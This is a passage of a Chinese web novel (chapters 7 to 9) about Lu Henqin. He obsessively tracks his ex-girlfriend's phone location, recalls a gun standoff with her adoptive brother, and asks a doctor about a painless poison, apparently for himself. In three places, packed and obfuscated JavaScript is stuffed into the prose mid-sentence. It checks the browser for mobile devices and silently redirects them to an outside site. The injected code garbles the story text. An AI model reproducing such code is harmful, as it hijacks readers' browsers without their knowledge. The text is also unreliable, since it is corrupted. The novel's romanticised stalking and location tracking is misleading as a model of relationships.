她买的东西色彩比他的物品要鲜艳得多,放在这栋家装色泽性冷淡的房子里显得格格不入。 她声称是为了区分,互不混用。 他当时冷嘲了一声:“黑白画里加了笔老土颜料。” 陆痕钦用挑剔的眼神一寸寸地打量着玄关处的女鞋,餐桌上的水杯,茶几上崭新的眼药水,还有滚在一旁的一盒三合一棉签。 居然是粉色、嫩黄和绿白色,每一种颜色的棉签头还不一样。 房子里的空间好像被逐渐装满,陆痕钦按了下心口又松开手,但很奇怪,他以前看自己空旷的房子总觉得自己心里有个填不满的黑洞,黏糊阴冷地缚在胸口,偶尔会传来隐秘的阵阵绞痛。 夏听婵买了一堆有的没的杂物进来,一堆根本不符合他的家装风格的玩意,各种各样的颜色堆叠在一起,好像不小心打翻的颜料盘,流进了那个漆黑一团的黑洞。 陆痕钦静坐了一会儿,直到夏听婵在洗衣房里将新买的日常衣物丢进洗衣机,他才起身,从一堆购物袋里精准地取出一只漱口杯。 这是今天购物时唯一属于他的一样物品。 非常普通的一只漱口杯,当时夏听婵拿了一只琥珀色的透明玻璃杯,放在旁边还有一只烟灰色同款玻璃杯。 是一对,但又不太明显,若非标签上写着情侣杯,他倒也看不太出来。 夏听婵也没看出来,她当时拿了她自己那只就走,对着手机上写着的购物清单往下一个货架前进,而他推着车百无聊赖地跟在后面,只在经过时顺手取了一只。 然后塞进了购物车的角落里,用其他物品挡了一下。 只是防震防摔而已。 他的洗漱用品都在定期更换,漱口杯相对换得不那么频繁一些,但既然来超市并且恰巧走过,倒也提醒他可以带一只回去。 …… 因为陆痕钦的再三推拒,白昊英上门看诊的时间推迟到了傍晚。 他进门时陆痕钦已经将过于明显的女性用品都收了起来,夏听婵的存在不适宜让任何知道,哪怕是从小一起长大的发小。 可打电话时超市背景广播音明显,白昊英随口问:“你今天去超市了?跟谁啊?” “嗯。”陆痕钦半靠在床背上翻看夏听婵新注册的通讯号,只回答了第一个问题。 白昊英倒也没追问,忙着替这个不省心的病人做个检查。 “你最近的状态明显好了许多,说明生活习惯健康起来了,继续保持。” 陆痕钦想了想,牛头不对马嘴地说了句:“大概是鲶鱼效应,半死不活的沙丁鱼群里放了条恶鬼鲶鱼,是会回光返照一下。” “但再怎么样,鲶鱼也是沙丁鱼的天敌,改不了。” 白昊英露出了迷惑的表情:“哈?啥玩意?” 陆痕钦没搭理他,似乎只是随口一提。 白昊英不放心,询问道:“你最近身体上有什么不同的感觉吗?不是说异常,就是跟之前有区别,很小的情况也可以。我跟你说过人的大脑具有欺骗性,它甚至很难通过脑部CT或者核磁共振检查出明显的区别……当然,等查出来了就已经麻烦了,所以临床上一般都是通过症状评估的。” 陆痕钦轻快地摇了摇头,没有半点犹豫:“没有,一切正常。” “那行,”白昊英点点头,“量个血压,抬一下手。” 陆痕钦由着他摆弄,将定位软件点开,看到红点安静地待在楼上的房间里,于是又心宽意适地退出。 因为精神惫懒着,光凭借肌肉记忆刷短视频打发时间似的手指习惯性上下滑动,但内容没有入脑。 他没注意白昊英说了什么,只重复着点开定位-看到红点在身旁-安心退出-再懒洋洋地点开,乐此不疲…… 红点一直没有动,可能是他刚才警告她家中有外人造访让她安静点,所以她一直乖巧地窝在床上,一点响声都没有发出。 那个房间里甚至没有电视机。 也许应该给她换个房间。 陆痕钦给她发去一条信息:【无聊么?你闭麦,我给你打语音电话。】 对面没回。 陆痕钦等了一会,随意刷了刷跟她仅此一条的聊天记录,冲白昊英惜字如金道:“快点。” 白昊英猛地抽了一把压脉带捆住他的胳膊,白眼快翻到天上去:“大哥,我才来了十分钟。” 压脉带才绑好,那句“静躺”还没说出口,陆痕钦突然毫无征兆地“腾”地坐了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977552|177581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白昊英急道:“哎你?!” 陆痕钦盯着自己拨打失败的语音电话,系统显示占线。 加了谁?跟谁打电话呢? 她才注册新号多久?有三个小时吗? 这就有可以连麦打电话的人了? 她知道她现在是什么处境吗? 白昊英还在一旁唧唧歪歪:“干嘛呢干嘛呢??手臂放平,你绷在那里给谁看你的健身成果啊?” 陆痕钦充耳不闻,将右手臂往边上一推,意思他自己搞他的就行别来烦,左手悬在语音通话按键上默数了十几秒,觉得足够一个结束电话了,于是又拨了个电话过去。 还是占线。 所以她一直躺在床上一动不动,是跟对面煲电话粥吗? 刚才在车上的时候,是不是也在跟那个人聊天? 陆痕钦回想起镜子里的她眼睛微亮,唇角浅笑,除了捧着那个手机对其他一切充耳不闻的模样—— 当时那一眼他就记下了好友列表的头像和昵称,可惜仅凭这些搜索不到对方。 胃里似乎有一团湿答答的棉花在轻轻搅动,令人不适,陆痕钦眼神平静,开始一个接一个地拨打语音电话。 占线记录滚满了一整页,他触击屏幕的手指越点越重,指甲在上面发出笃笃的响声,一个差错间点进了她的头像。 再点开朋友圈,他的瞳孔猛地缩紧。 朋友圈打开了。 可明明在从前,她的朋友圈一直是屏蔽状态,她也不爱发。 但今天她连发了两条动态:一条是分享新买的扫描笔,另一条是给文竹盆景浇水的视频,里面露出了她半截纤细的手臂,明晰的骨骼线条让她利落的动作极具观赏性,她的手腕上还戴着一条细细的黑色发绳,衬得皮肤薄透如白玉一样,非常漂亮。 青竹白玉黑绳,构图雅致,意境十足。 这段视频是她还在国内的时候拍的,那么早之前的事了,怎么现在就发了? 最重要的是,两条朋友圈下面有个熟悉的头像点了赞,陆痕钦闭眼按了按山根,再睁开眼,那人的赞又消失了,像是偶然手误。 手误能手误两次么? 陆痕钦目光晦暗不明地将视频反复看了三遍,忽然开口问:“我记得阮成礼以前说过,从来不开朋友圈的人如果突然开了,是有了目标,想给对方一个了解自己的机会?” 这血压量了两次都失败,白昊英正憋着一肚子气,没好气道:“昂,怎么?” 陆痕钦将她开放的朋友圈截了个图。 她跟自己谈恋爱的时候也没开过朋友圈。 陆痕钦将任由医生摆弄的手臂抽回来,不由分说暴力扯开压脉带往床上一扔,表情很冷:“稍等,处理一下事情。” 他开始在对话框里输入: 【开朋友圈是想给谁看?】 删除。 【你认识谁了?】 删除。 【今天加的那些人是男的女的?】 删除 【钟奕联系上你了?】 这句还没打完就长按删除键,删得干干净净。 怎么发都不对,可夏听婵坐在后座跟人热聊的场景再一次涌入脑海,当时她的耳际还有点微微发红…… 现在想来,这一抹绯色像是一根尖锐的针一般,轻轻地扎了他一下。 陆痕钦勉强沉住气,等了好久再打语音电话,很好,终于不再是占线状态,对面接通的第一秒他就直奔主题: “刚才是在跟谁打电话?” 夏听婵:“啊?” 陆痕钦第二次问:“跟谁打电话?” 夏听婵:“在说会员卡的积分帮我记上了。” 陆痕钦平静道:“跟谁?” 对面好像无语了一会儿,觉得他无理取闹一般干巴巴地说四个字: “工作人员。” 陆痕钦“嗯”了一声:“车上的时候呢?” 电话断了,夏听婵并没有回答这个问题,总是这样,涉及到她不想回答或者不方便回答的问题上,她总是以沉默作为回应。 尤其在关于她和她前男友的事上,他曾耿耿于怀已久。 8.第 8 章 陆痕钦第一次见到钟奕的时候是在图书馆。 彼时,夏听婵正坐在图书馆里刷题,而陆痕钦则坐在她对面用手臂支着下巴,写题是假,黏女朋友是真,就这么有一搭没一搭地瞧她一眼。 钟奕是第二学年的时候转过来的,来之前就被大家津津乐道了许久,所以一出现在校内图书馆时就受到了不少关注。 他在借阅台驻足了很久,频频有人扭过头去偷看他,陆痕钦意兴阑珊地打量了两眼,又把目光移回到面前聚精会神的女孩身上。 窸窸窣窣的低语和笑声里,她自始至终没有回头好奇地张望一眼。 反倒是钟奕借完了书朝着自习区走来时,因为四处环视着寻找空位,在经过他们这一桌时不小心磕碰到桌角,桌子“吱”的一声偏移了几寸。 陆痕钦上半身不动,微敞的长腿往边上一拧,半翘起鞋尖游刃有余地踩抵住桌脚,可夏听婵面前完全打开盖子正在放凉水温的杯子还是被撞得晃动几下,泼了点水出来。 她终于从卷子中抽回注意力,抬起头看了钟奕一眼。 钟奕非常抱歉,他长了一副初春融雪的温柔皮囊,俯下身用怕惊扰了什么似的温润声音轻声道歉。 夏听婵只一眼就收回了目光:“没事。” 可钟奕凑得有些近,用那双仿佛被雨水洗过的晴空一般的眼睛望向夏听婵,无比内疚的模样,他从口袋里取出手帕,试图帮她将打湿的卷子洇干。 一条手臂横插过来,大喇喇地梗在两人中间,陆痕钦大幅度抬手“刷刷刷”连续抽了五六张纸,而后支颐闲闲地按在水渍处,他比钟奕还要高一些,看人的时候上扬的眼尾微微下垂,有种微妙的咄咄逼人之感。 “她说没关系,下次小心点。” 钟奕这才看了他一眼,好像才发现他的存在一样,定了两秒才温吞地收回手帕,又道了声抱歉,然后就离开了。 夏听婵一直没有理他,好像这只是一场不值一提的小插曲一般。 等人走后,陆痕钦还无意地问了句夏听婵对这个转校生初印象是什么。 她没回答,只递给他一个“真无聊”的眼神。 再磨她,她就放下笔难评地瞧着他,坦诚道:“陆痕钦,我遇到你之后就对所有的‘风云人物’祛魅了,你一个人够折磨我了。” 他忍俊不禁。 后来她先保送去了霧峰国立大学,他每逢周末就会去寻她,只有一次翘了周四周五两天的课,没有提前打招呼就去找她。 那天到学校前突然人工降雨,他打了把伞就进了校门。 他有她完整的课表,以及课后打工、社团、运动的详细日程,并且对此熟稔于心。 这个点,她应该差不多从图书馆回去了。 霧峰国立大学的图书馆有全国最长的阶梯,朝圣一般,从下往上看,仿佛是一座金字塔。 陆痕钦走到金字塔中部时给夏听婵发消息,字打到一半还没发出去,随意的一抬头,看到撑着一把海青色伞的她站在门口。 她的对面站着身姿挺拔的钟奕,纵然下雨,可他并没有掩在她的伞下,而是整个身子都暴露在雨中,避嫌一般维持着普通的社交距离,让人挑不出错来。 陆痕钦的目光在钟奕半湿的肩膀上旋了旋,喉咙口逸出一声短促的气音,像是被什么拙劣低级的手段逗笑了。 钟奕一点也不了解她,跟她相处要直说,不能让她猜。 两人好像简短地交谈了些什么,钟奕将一张饭卡递给她。 陆痕钦停下脚步,绷直的肩膀寸寸往后夹紧,他眯起眼,不动声色地站在台阶下朝上冷眼旁观。 夏听婵没什么多余的表情,接过饭卡后,倒是钟奕垂眸冲她温和地笑了笑,好像雨季里唯一被太阳自然烘干的绵软布料,温暖又妥帖。 夏听婵的时间观念很强,她的人生总是井井有条,有着详细明确的list,说完话后就转身要走,钟奕往前迈了半步,好像挽留了她一声。 “雨……突然……伞……可以吗?” 夏听婵将伞举高了些防止挡住视线,才回过头,肩头处不轻不重地覆上一只手,随即整条胳膊懒懒散散地压下来,将她搂住。 伞柄被人往上撑高,视野一下子宽阔明朗。 陆痕钦接过她的伞,将两个人都笼罩在其下,他宽肩长腿,共用一把伞的时候只能亲密地贴紧她。 夏听婵显然没有料到他这个时间过来,惊奇地“啊?”了一声。 陆痕钦圈紧她的肩膀,额头贴了贴她的长发,哼笑间还用小指勾了下她脖子上细长的素链。 “来得急,忘带伞了。” 谎话说得太假,就是一种懒得欠奉的掀桌子。 他身上可都是干的。 “饿不饿?走,带你吃好吃的。”陆痕钦揽着她的肩膀转身往阶梯下走,夏听婵连跟钟奕说的那句“再见”都是背过身的。 钟奕没开腔,碍眼的笑容终于淡下去。 陆痕钦的左肩仍保持着松弛的塌陷状态压在夏听婵肩上,往下走了两三阶台阶后才斜仰着头,漫不经心地回头瞥了他一眼。 眉弓几不可察地往上挑了挑,冷淡又暗含警告。 再转回头,夏听婵断断续续地聊着日常,拿出手机要给他分享什么新鲜事,陆痕钦的手臂稳稳地环着她的肩膀,噙着笑听她说话,经过台阶宽平台时有一把撑开的新伞倒在地上。 他揽着她走过,注意力一直定在她身上,夏听婵忙着翻手机,两人好像都没发现这把侧翻的伞。 只是在经过时,他的鞋尖往边上漫不经心地一拨,像是踢开一堆碍眼挡路的垃圾似的将那把伞往台阶旁踢开。 伞骨在台阶上刮出吱呀声,雨伞狼狈地翻了个滚,底朝天地仰翻着,很快就在伞心积起了一小滩雨水,像是乞丐腆着脸求赏赐的碗。 钟奕依旧站在原地,雨水将他身上的衣服完全打湿,有出图书馆的同学见到他,大着胆子邀请他:“同学,没带伞吗?” 钟奕的眼眸被额前打湿的黑发挡住一半,他始终盯着那把在台阶上摇摇晃晃的小丑一般的伞,连起码的礼貌都忘了,一声不吭地迈腿走进了雨里。 “同学……?” …… 夏听婵两人一直走出好远,陆痕钦才提了句:“他怎么来你们学校了?” 这个问题很好回答,因为校门口正前方的电子屏上写着热烈欢迎杰出校友钟理群先生莅临我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983982|177581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校开展主题讲座! 可夏听婵摇摇头:“不清楚。” 陆痕钦不声不响地瞧了她一眼,一时分不清今天满课的她是没时间参加讲座所以不清楚,还是在撒谎。 前几天他缠着她共享定位,被她直接驳回,怎么磨都不肯,他当即就决定提前来找她。 白昊英当时还吐槽了一句:“哥们,真的会有人因为女朋友不愿意开共享定位这么一件小事,就扔下手上的事千里迢迢地去见她吗?” 陆痕钦并不觉得这不正常,不正常的是听不懂人话看不懂眼色想来分一瓢羹的鬣狗。 他问:“钟奕刚才是还你饭卡?” “嗯,今天的裤子口袋浅,不小心落在座位上了。” 陆痕钦笑了一下:“那还挺巧,你打算走了,他就坐到你的位置上去。” 夏听婵半点反应都没有,似乎不觉得这是个值得讨论的话题,她从来不多管闲事,随口说了句:“他就是坐饮水机上也不关我事。” 他一直在留意她脸上的神情,不放过任何一个细微的表情变动,在那里探寻到一丝微弱的冷淡,她好像对钟奕有点烦。 这一点嫌恶巧妙地哄好了他。 夏听婵:“我记得你车里不是有伞?胳膊拿开,好重。” 陆痕钦没有压住唇角的笑意,努力了好久还是闷声笑起来:“不要,我伞破了。” 他变本加厉地把脑袋往她颈窝里埋,软骨头一样地贴着她:“而且你举着伞不累吗?我帮你举,等下给你揉揉手腕。” 吃饭时两人聊了些别的,期间夏听婵的手机响了几次,可她一个都没接,只将手机屏幕始终反扣在桌子上,中途上洗手间时她将手机带走,再回来后手机便再也没有响过。 陆痕钦的笑容随着每一个响起的电话而越来越淡,他记得那天他帮她剔鱼刺时剔了很久很久。 某些不安全感像是一根越勒越深的细线,异地之后他每天都想跟她挂着语音,闭眼前最后一句话是跟她说“晚安”,早上睁开眼的第一件事是给她发当天的天气预报。 哪怕她顾自己做她的事,两人没有交流也行,连麦时她翻页书籍的轻响,倒水时汩汩的水声,思考时“哒哒”按下的笔帽声……总之一切与她有关的动静都能被他轻而易举地侧写出她此刻的极具画面感的场景,也能很好地安抚他胸腔里疯长的藤蔓。 他蓦地开口:“对了,你知道阮成礼跟他女朋友分手了吗?” “什么时候的事?”夏听婵停下筷子,有些吃惊。 “前几天,他本来还以为能挽回,但面谈了一次后还是结束了……算和平分手吧。” “可惜。”她叹息了一声,“他们在一起很久了。” 陆痕钦凝视了她良久,忽然说:“如果我们两个分开,一定不会是和平分手。” 夏听婵将筷子抵在碗壁上轻轻地点了点,反问:“你的意思是我们会大吵一架?” 她想了想,似乎脑补出了一些画面,煞有其事地点点头表示赞同:“是的,我想起来了,宰荣浩锐评过,说你这张嘴挺毒的。” 他笑了一下,既没有同意她那句话也没有否定,只是不轻不重地说了句:“嗯,我们分不了手。” 9.第 9 章 陆痕钦最后一次见到钟奕,才知道他是夏听婵的前任。 太可笑了。 他问过夏听婵多少次有关钟奕的话题,就有多少次她表现出漠然和不熟,所有谎言只需她对他弯着眼睫说喜欢他就能将他骗得团团转。 那天两人久别重逢,气氛却糟糕透顶,因为陆文成的死大吵了一架。 夏听婵坦然地将事情和盘托出,毫不留情地拣着难听的话将最后那层窗户纸撕碎,然后狠狠地丢在他脸上。 她说:“监听器是我装的,陆文成那份名单是我拷贝走的,你可能在国外不清楚,我现在隶属于金融犯罪调查组。” “怎么会?钟奕没有那么大的魅力,我只做我觉得正确的事,一个前男友还影响不到我。” 她说:“你也是前男友了。” 汇聚到下巴处的眼泪无感情地一滴滴坠到地上,陆痕钦面无表情地看着她,已经感觉不到自己的眼睛在流泪了。 他能说服自己继续给她找借口,但前提是,他们两个在交往的六年里,钟奕不曾参与其中;前提是踩着陆氏上台并被钟家收养的她最初与他在一起不是别有用心; 前提是她真的爱过他,那些假意中只要有那么一点点真心,那么一点点就行。 可是。 陆痕钦英俊立体的五官被灯光勾勒出晨昏线,他说:“钟奕马上到了,两枚子弹足够了,你放心,我手不抖。” 夏听婵:“我以为你只带两颗子弹是想拉着我一起死。” “殉情啊?”他好像听到了天大的笑话,苍白的皮肤在灯光下透出冷意,“我如果还算是个人,夏听婵,我但凡是个人……我都不可能再贱到这个份上。” “——那你开枪吧。” 他握紧枪的手臂怎么都抬不起来,一把柯.尔.特.M1911,他玩过千百次,但此刻却怎么都拿不起来。 夏听婵站在他面前,动都不动,正如在感情里吃定了他一样,吃准了他不会朝她开枪。 陆痕钦紧皱着眉,用另一只手挣扎着扣住自己的手腕,枪口往上翘起,目标却是向落地衣架那里转了转。 他短暂地闭了闭眼,再睁开时语气平缓:“换衣服。” “什么?” 陆痕钦冷漠地站起身,拎着门口那身特别调查组的制服把夏听婵逼进卧室。 他抬高了手让一整套制服在空气中转了转,打量了一圈后往床上一扔:“换。” 神经病,钟奕快到了,她哪有时间搭理这个疯子? 夏听婵低声警告:“陆痕钦,钟奕现在出行身边都是有保镖的,他们不像你,来报复还带一把需要现场装子弹的空枪,你要开枪现在就开枪,别磨磨蹭蹭等到钟奕来了再——” 门口传来输入密码的电子音,夏听婵脸色微变,连半秒钟的犹豫都没有,果断推搡着将他塞进一旁的贴墙橱柜。 陆痕钦人太高,硬生生挤进去时需要完全躬着身,但那条长腿就是不肯收进去,肆无忌惮地卡在橱柜门处。 他找死。 “陆痕钦!”夏听婵压着声线,火冒三丈推了他一把。 他反手撑在橱柜顶上,躬着身自上而下地打量她的表情,嘲讽道: “不让我跟你邻居打招呼,也不允许我叫你前任一声前辈么?” “你是不是有病?” “我说了,你把衣服换了。” 这人简直阴晴不定,脑子里不知道在想些什么东西。 夏听婵犟不过这堵门神,大门的密码输入成功的一瞬间她迅速道:“可以。” 橱柜门“砰”的一声被她关上。 她知道橱柜顶部的透气孔可以看到外面,陆痕钦此刻一定目不转睛地盯着她的一举一动。 她敷衍地将外套披在身上,刚将手臂穿进袖子钟奕就在外面喊了她一声。 “我在卧室。” 钟奕拿来了一块大尺寸墨水屏,习以为常地进了她的房间,拉开她的椅子站在书桌前,俯下身上手替她组装。 他身上的西服有些限制动作,才拆了没几分钟,他就停下来将外套脱了随意挂在她的椅背上。 “你成天对着屏幕对眼睛不好,父亲让我把这个带给你……试试看?这样可以吗?” 夏听婵站在他身后,两人之间起码超过一个手臂的距离,她应下:“嗯,谢谢钟伯伯,谢谢你。” 钟奕回过头瞧了她一眼,唇边挂着笑:“谢什么。” 安装墨水屏不过几分钟的事,送东西也劳驾不动钟奕这尊大佛,这种小事,远不需要他百忙之中连晚饭都没来得及吃,一结束正事就亲自赶过来。 实在是醉翁之意不在酒。 但可惜媚眼抛给瞎子看。 夏听婵语气尽显疏离:“下次直接让司机送吧,或者你跟我说一声,我自己来拿。” 钟奕嘴角的弧度像是退潮一般渐渐淡去,墨水屏低饱和度的灰调光打在他的侧脸,像是阴天透过云层的散光。 “啊,亮了,好了。”夏听婵像是没看到他的神情变幻一般,自顾自上前一步调试屏幕,再次道谢,“麻烦了。” 钟奕的手臂还压在桌面上,他的目光落在距离他手臂两寸的鼠标上,夏听婵细长莹白的手指搭在上面左右移动,像一只捉不住的蝴蝶。 她只简单试了试就收回了手,再次把两人之间的距离拉开,嘴角一弯,他知道那是第三句“谢谢”。 她其实是在拿谢谢赶他走。 “小婵,”钟奕忽然开口,“怎么不回家住?” “不太方便吧。” “哪里不方便?”钟奕目光柔和地注视着她,她头顶有一缕头发翘在外面,似乎能从中窥见她不耐烦时胡乱抓一把的日常。 他的眼眸又因为这些熟悉的联想而温柔下来,伸手要替她整理发丝:“如果是距离单位比较远的话,司机可以——” 手指距离她的发丝只有咫尺间,夏听婵忽然沉静地唤了一声:“哥哥。” 那只手遽然僵在空中,像是被按下了定格键。 她平视着他,又淡淡地重复了一遍:“不太方便吧,哥哥。” 钟奕的手指很轻地在空气中动了一下,他盯着她看了好一会儿才垂下眼。 他没应下这个称呼。 夏听婵往他身边迈出一步:“那我送你到门口——” 手臂忽然被人从后方一把钳住,钟奕抬起脸望向她,额前的黑发垂下来像是将瞳孔都割开,他的眼神罕见地执拗,那层温文尔雅的皮骤然剥下。 他固执地锁住她的胳膊将她往自己身前拉,动作幅度大到几近失控,手肘甚至撞到了椅子,那件笔挺的西服外套从椅背上歪斜着划落,最后胡乱堆叠在地上。 夏听婵脚步踉跄着退了一步,扭过脸震惊地看向他,认识他这么多年,钟奕鲜少会做出这样失礼的举动。 他直直地凝视着她,启唇:“小婵——” “哐”的一声闷响猛地从橱柜深处砸响,整面实木木板都在震颤着发出共鸣声,这动静听上去像是衣架掉下来,重重地磕到了门板。 但更像是谁把一具尸体丢进了棺材里。 夏听婵的目光在极短的时间内闪烁了一下,像是被强光突然照射的猫科动物,但很快又趋于平静。 钟奕想说的话被卡断,他下意识偏头望向深褐色的橱柜,柜体上方有数条横向隔纹,每一条大概都有一指宽的通气凹槽。 从外面望进去,漆黑一片。 钟奕凝视着这个贴墙放的橱柜,忽然问了一句:“陆痕钦现在还有在联系你吗?” 夏听婵轻微地偏了下头,顺着钟奕的目光神色从容地望向橱柜。 陆痕钦觉得她好像有那么一瞬间与自己对上了视线。 两边悬挂着的冬季大衣上散发着她身上清浅的香气,可能是因为被这样熟悉的氛围所包裹,所以他此刻才能如此平静。 她下意识轻微翘起来的小指有些太明显了……可能夏听婵自己不知道,但初见时,她第一次指认他翻墙,当时也有这个小动作。 他心如止水,几乎完全笃定了她会供出自己,他在她那儿是一门必挂的课程,无论是初见,到党派斗争,还是现在。 “不太清楚,他出国后就断联了。”夏听婵语气平平,一如既往地事不关己。 “是吗?”钟奕看向她,五指慢慢收紧。 她蹙了下眉,手腕一拧想挣脱出来,橱柜门忽地开了一道缝,冷淡地传来一句:“手放开。” 夏听婵头疼地闭了下眼,再睁开。 陆痕钦背靠着橱柜贴墙的一面,一条腿往前支着,背脊弯成一个轻微的弧度,他用枪管子撩开遮在面前的大衣走出来,黑漆漆的枪口慑人地掠过空气。 钟奕的目光一动不动地凝着,站姿挺拔:“我是听说你今天回国了。” 夏听婵果断站在钟奕面前挡住剑拔弩张的两人:“陆痕钦你把枪放下来。” 陆痕钦脚步微滞,他的眼尾还有些泛红,看起来像是在橱柜里被灰尘迷了眼。 他刚才还对她流着眼泪说恨她,现在出来一个钟奕,忽然就跟应激了一样火力全开,不依不饶道:“听见没夏听婵,你的哥哥成天关注你和你身边人的行踪,真可怕。” 钟奕回敬道:“成天关注?那你也好不到哪里去。” 他把夏听婵往身后拉,二话不说掏出手机要打电话,但她犟得像一头小牛,硬是要拦在前面,还一把握住了他的手机不让他拨号。 陆痕钦冷眼瞧着两人情真意切的你来我往,方才在狭窄的空间里,每一次透过更逼仄的十字准心瞄准钟奕的时候,她总会无声无息地精准挡在前面,提前预料到他瞄准的枪口。 人怎么能默契到这种程度呢? 准心里三番几次出现她的身影,他从她的维护和偏袒里感到愤怒,心寒,以及最后的平静。 夏听婵拦完这个拦那个,冲着钟奕逻辑清晰道:“陆文成一人的事,跟他妻儿都无关,资产清算已经在执行,姜敏之前的保释金也付了,别节外生枝,想想你自己现在的位置,想想钟伯伯。” 她两边都阻拦过了,一个挡枪,一个抢手机,觉得自己一碗水端平了,但左右一看,两边怎么好像都被她惹毛了。 钟奕的脸色半点没有转晴的意思,冷嘲道:“家里出了这样的事,还能对小婵纠缠不休,陆痕钦,我有时候还是挺佩服你的。” 陆痕钦点点头,平淡回了句:“大舅哥过奖……手能从她胳膊上松开么?不然我开枪了。” 钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998711|177581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奕好像被那句“大舅哥”激怒了,他笑了一下,语气温和到令人发毛:“跟你有什么关系?” 说完后他又将视线转向夏听婵:“跟我回家住,免得被鬼三天两头缠上。” “回家?钟理群肯么?”陆痕钦笑得夹枪带棒,风生云起,“我以前就奇怪,钟理群看向小婵的眼神为什么那么复杂,现在我懂了。” “死缠烂打的原来另有其人,钟先生不得已,收养她当女儿,扶她青云志,顺便绝了有些人的心思。” “钟奕,当哥哥,就要有哥哥的样子。” 钟奕的目光像是冰棱一样射过去,面色难看至极。 陆痕钦盯着夏听婵淡笑,话是说给钟奕听的:“况且你以为你比我好到哪里去?她是怎么在福利院的时候就通过你被钟理群看到的?这人就是个没心的。” 钟奕面色淡淡的,瞧着根本不在乎:“我心甘情愿,你一个前任就不必参合到我们家事中了。” “前任?”陆痕钦偏了下头,语气冷淡而平静,“夏听婵,我们分手了吗?我们之间的账算得清吗?” “钟奕不在乎,我也不在乎,夏听婵,你等我死了再谈分手。” 钟奕猛地一把将她拉到身后挡住。 “行了,叫辆车去机场,最早的一班飞机把他送走,钟奕你别听他发疯,也别动手脚惹火上身,钟伯伯如果喊我的话,我会回家吃饭。”夏听婵抬手终止了对话,她说,“陆痕钦,该说的话我都说清楚了,我刚才说了你要开枪就开,我对不起你,我认,你开枪我们两清,以后别再来找我了。” 她的视线扫过两人:“还有什么问题吗?” …… “诶诶诶,回神!回神!”白昊英拿手在陆痕钦面前挥了挥,“完事了没有?” 陆痕钦骤然回神,他脸上略有疲态,低头看向手机时,公司的大群里忽然接连跳出几条信息。 他点进去,白昊英恰好凑过来瞟了一眼: 原来还真是公事,错怪病人了,白昊英把脖子缩回去。 群里,实习生转发完帖子后发了一长串的“哈哈哈哈哈哈哈哈”。 死一样寂静的五秒里,有人拍了拍发错群的实习生。 实习生终于发觉不对,慌慌张张地道歉:【对不起打扰大家了,我想撤回但不小心点了删除,大家无视就好。】 陆痕钦以往并不会点进这个群,可发错的帖子标题突出,前三段正文明明白白地预览在群聊里: 狗狗跋涉100公里去咬抛弃它的主人。① 小狗日记:我想我的主人了,Ta很喜欢我,对我也很好,去哪里都带着我,但是Ta笨笨的,把我系在电线杆旁忘记回来找我—— 以上歪歪扭扭的字体被小狗气急败坏地全部划去,后面愤而狂躁补上一句: 你爹死了!把老子扔了! 大群里安静如鸡,陆痕钦也沉默不语。 良久,他退出页面后翻找列表,找到公司里主管药品研发和生产条线的闵丰羽,突兀地发过去一条: 【一期和二期临床试验的测试报告发我。】 闵丰羽知道他要的是什么药,因为陆痕钦已经前后催了好几次,便直接将报告发了过来,并且汇报进度道: 【三期报告也快出来了,陆董您可以再等等,现在用药还是有点风险。】 陆痕钦在白昊英的碎碎叨叨中看完了报告,还专门要了一份新药的毒理学研究,斟酌再三后忽然问了句: “白昊英,有什么药无色无味,但是可以让……让动物死去的?” 白昊英正在查看陆痕钦的检查结果,很不错,各项指标都有所好转,当下心里踏实了不少,说话都耐心了几分:“什么动物?蟑螂蜘蛛还是老鼠?” “哺乳动物,”陆痕钦关闭手机,“最好见效快,死相好看一点,不要太痛苦。” 白昊英皱了下眉,放下手里的检查报告:“剂量一般跟体重有关。” “体重大概72。” “72什么?” 陆痕钦:“72kg。” “哈哈!”白昊英眼神都死了,把检查报告往他身上一扔,就差跟着一起疯了,“那只哺乳动物不会身高还是189cm吧我他大爷的刚还想夸你一句这两天精气神明显不错了许多,连专心公司事务时眼里也有光了,你又给我搞这出??滚你个王八蛋!” 他四处寻找可疑的瓶瓶罐罐,一眼锁定了床头柜的阿托品。 宁可错杀不可放过! 白昊英一把夺走药瓶,拿到手里的瞬间悚然发觉一瓶药已经几乎见底。 他不可置信地举到耳边摇一摇,里面零星剩下两粒,跟打发叫花子似的。 白昊英的嗓子瞬间尖锐起来,人都快昏厥:“这药怎么回事??你当糖吃吗??” 陆痕钦心平气和:“盖盖子的时候没拿稳,不小心掉地上撒了一地,我就丢了。” 白昊英扶着额头直喘气,怀疑的眼神在陆痕钦面上上下打量了几圈,决定保险起见将药收回去,凶神恶煞:“你已经不用吃药了。” 闻言,陆痕钦并没有表现出什么戒断反应。 他无所谓地点点头,说:“好的,忘了刚才哺乳动物的事吧,我只是开个玩笑。” 10.第 10 章 